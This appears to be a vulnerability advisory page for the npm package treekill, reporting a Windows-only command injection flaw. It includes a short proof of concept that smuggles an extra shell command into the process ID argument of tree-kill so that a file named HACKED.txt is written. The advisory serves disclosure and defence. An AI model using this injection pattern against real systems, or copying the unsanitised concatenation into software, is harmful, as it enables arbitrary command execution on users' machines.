treekill@0.0.0 vulnerabilities

treekill process and it's all children and child offspring children.

Direct Vulnerabilities

Known vulnerabilities in the treekill package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Command Injection

treekill is a package for treekill process and it's all children and child offspring children.

Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command within tree-kill and treekill that will be executed without any check.

Note: This vulnerability is only applicable if the package is used on a Windows operating system.

PoC by mik317

  1. Create this POC file
//poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
  1. Execute the following commands in another terminal:
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)
  1. A new file called HACKED.txt will be created, containing the HACKED string

How to fix Command Injection?

There is no fixed version for treekill.

*